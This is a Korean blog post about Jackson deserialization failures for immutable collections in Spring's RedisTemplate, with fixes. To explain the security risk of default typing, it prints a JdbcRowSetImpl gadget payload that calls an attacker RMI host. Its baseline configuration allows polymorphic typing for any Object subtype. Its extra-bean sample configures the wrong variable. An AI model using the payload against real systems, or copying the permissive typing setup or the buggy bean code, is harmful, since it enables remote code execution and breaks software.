1. 들어가며

보통 RedisTemplate의 ValueSerializer는 웬만한 타입을 다 지원하기 위해 GenericJackson2JsonRedisSerializer를 세팅해주고 있었다.

그런데 이것을 이용해서 역직렬화를 할 때 일부 클래스에서 문제가 생길 수 있는데 문제의 코드는 아래의 코드이다.

2. 문제의 코드

this.objectMapper = new ObjectMapper();
objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
objectMapper.registerModules(new JavaTimeModule(), new Jdk8Module());
 
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfBaseType(Object.class)
        .build();
objectMapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);

Redis와 관련된 Bean들을 초기화 해주는 Auto Configuration 역할의 클래스에 있는 코드 중 일부이다.

위와 같은 코드로 RedisTemplate의 GenericJackson2JsonRedisSerializer에 세팅해줄 ObjectMapper를 설정하여 생성해주고 있다.

ObjectMapper와 관련된 설정을 잠깐 설명하자면, allowIfBaseTypeObject.class를 넣음으로써 사실상 모든 클래스를 다 지원하도록 하였다.

추가로 ObjectMapper.DefaultTyping.NON_FINAL 옵션을 통해 final이 아닌 클래스에 한해서 직렬화/역직렬화를 가능하게 하였다.

RedisTemplate<String, Object> redisTemplate = new RedisTemplate<>();
redisTemplate.setConnectionFactory(redisConnectionFactory);
redisTemplate.setKeySerializer(RedisSerializer.string());
redisTemplate.setValueSerializer(new GenericJackson2JsonRedisSerializer(objectMapper));

앞서 만든 ObjectMapper를 위와 같이 GenericJackson2JsonRedisSerializer의 생성자 파라미터로 넘겨주고 있다.

3. 그래서 문제는?

역직렬화 시 Jackson에서는 Redis에 저장된 값의 타입 정보를 참고하여 역직렬화하는데 일부 클래스는 타입 정보가 빠진 채 저장되는 경우가 있었다.

바로 List.of, Map.of 등 불변객체로 만든 클래스는 저러한 타입 정보가 없어서 역직렬화가 불가능 하다는 것이었다.

List.of

redisTemplate.opsForValue().set("test", List.of("1","2","3"));

위처럼 List.of로 Redis에 데이터를 저장하면 실제 저장된 데이터엔 타입 정보가 존재하지 않는 것을 볼 수 있다.

ArrayList

List<String> list = new ArrayList<>();
list.add("1");
list.add("2");
list.add("3");
redisTemplate.opsForValue().set("test1", list);

반대로 ArrayList로 저장하면 정상적으로 타입 정보가 포함된 Redis 데이터를 볼 수 있다.

그래서 타입 정보가 없는 데이터를 RedisTemplate로 가져오려고 하면 아래처럼 에러가 발생한다.

org.springframework.data.redis.serializer.SerializationException: Could not read JSON: Could not resolve type id '1' as a subtype of `java.lang.Object`: no such class found
 at [Source: (byte[])"["1","2","3"]"; line: 1, column: 6]; nested exception is com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id '1' as a subtype of `java.lang.Object`: no such class found
 at [Source: (byte[])"["1","2","3"]"; line: 1, column: 6]

4. 해결방법

[해결X] ObjectMapper.DefaultTyping.EVERYTHING 설정

ObjectMapper.DefaultTyping.NON_FINALObjectMapper.DefaultTyping.EVERYTHING

final이 아닌 클래스에 대해서만 타입 정보를 저장하고 있던 기존 설정(NON_FINAL)에서 모든 클래스에 대해 타입 정보를 저장하도록(EVERYTHING) 바꿔보았다.

그 결과 Redis 데이터에 타입 정보도 같이 저장된 것을 볼 수 있었으나, 또다른 에러가 발생하였다.

org.springframework.data.redis.serializer.SerializationException: Could not read JSON: Cannot construct instance of `java.util.ImmutableCollections$ListN` (no Creators, like default constructor, exist): no default no-arguments constructor found
 at [Source: (byte[])"["java.util.ImmutableCollections$ListN",["1","2","3"]]"; line: 1, column: 41]; nested exception is com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `java.util.ImmutableCollections$ListN` (no Creators, like default constructor, exist): no default no-arguments constructor found
 at [Source: (byte[])"["java.util.ImmutableCollections$ListN",["1","2","3"]]"; line: 1, column: 41]

이유는 Jackson이 java.util.ImmutableCollections$ListN (즉, List.of(…))를 직접 인스턴스화할 수 없기 때문이라고 한다.

EVERYTHING으로 쓰더라도 역직렬화가 불가한 클래스는 쓸 수 없다. 대신, ArrayList로 한번 래핑하여 저장하도록 하는 것이 해결책이라고 할 수 있겠다.

그리고 EVERYTHING은 보안상 위험이 있다고 해서 가능하면 쓰지 않는게 좋다고 한다. @class로 포함되는 타입 정보는 Jackson이 역직렬화할 때 해당 클래스를 자동으로 로드하여 인스턴스화 하게 된다.

{
  "@class": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://attacker.com:1099/evil",
  "autoCommit": true
}

위 JSON이 역직렬화되면

  • JdbcRowSetImpl이 로딩되고,
  • setDataSourceName(…) 호출되며,
  • RMI(Remote Method Invocation)로 외부 공격자의 서버에 연결 시도 발생 → 원격 코드 실행(RCE) 취약점으로 이어질 수 있다고 하니 가능한 쓰면 안 되는 옵션이라 할 수 있겠다.

[해결?] 기본 RedisTemplate<String, Object>외에 특정 타입용으로 하나 더 만들기

기존에 Redis와 관련된 영역은 RedisTemplate<String, Object>를 기본 Bean으로 쓰고 있는데 특정 타입에 대한 직렬화/역직렬화가 필요하면 별도로 만들어주면 된다.

@Bean(name="listRedisTemplate")
public RedisTemplate<String, List<String>> listRedisTemplate(RedisConnectionFactory redisConnectionFactory, ObjectMapper objectMapper) {
    RedisTemplate<String, List<String>> listRedisTemplate = new RedisTemplate<>();
    redisTemplate.setConnectionFactory(redisConnectionFactory);
    redisTemplate.setKeySerializer(RedisSerializer.string());
    redisTemplate.setValueSerializer(new GenericJackson2JsonRedisSerializer(objectMapper));
    return listRedisTemplate;
}

위처럼 List<String>을 Value로 받는 RedisTemplate Bean을 하나 더 만들어주고 아래처럼 원하는 곳에서 주입받아 사용하면 된다.

private final RedisTemplate<String, Object> redisTemplate;
private final RedisTemplate<String, List<String>> listRedisTemplate;

그러나, 필요한 타입마다 이렇게 하나씩 만들어서 쓰기엔 너무 번거롭고 귀찮다.

[해결!] key를 set할 때 value를 한번 래핑해서 넣기

List.of로 생성된 리스트는 ArrayList로 래핑해서 넣으면 ArrayList로 타입 정보가 들어간다.

redisTemplate.opsForValue().set("test", new ArrayList<>(List.of("1","2","3")));

글을 마치며

RedisTemplate<String, Object>를 사용해서 모든 타입의 value를 처리하고자 할 때, 타입 정보가 빠져서 역직렬화가 불가한 클래스들도 일부 있으니 개발 과정에서 set/get을 꼭 해보도록 하자. 글을 마치면서 대표적으로 많이 사용하는 타입에 대해 역직렬화 가능 여부를 표로 정리해두었으니 참고하기 바란다.

역직렬화 가능 여부 클래스 비고
가능 ArrayList, HashMap, MyCustomDto, … 기본적으로 지원되는 클래스들이며 타입 정보가 같이 저장됨
가능 Optional (java.util.Optional) final이고 구조 복잡함 – 일부 Jackson 버전에서 역직렬화 불가 가능성
가능 String, Integer, Boolean, Double 등 final이지만 단순 타입이라 역직렬화 가능 (Jackson 기본 지원)
가능 Enum 타입 final이지만 기본적으로 Jackson에서 지원함
불가능 List.of(…) → ImmutableCollections.List final 클래스, 타입 정보 빠짐
불가능 Map.of(…) → ImmutableCollections.Map final 클래스, 타입 정보 빠짐
불가능 Set.of(…) → ImmutableCollections.SetN final 클래스, 타입 정보 빠짐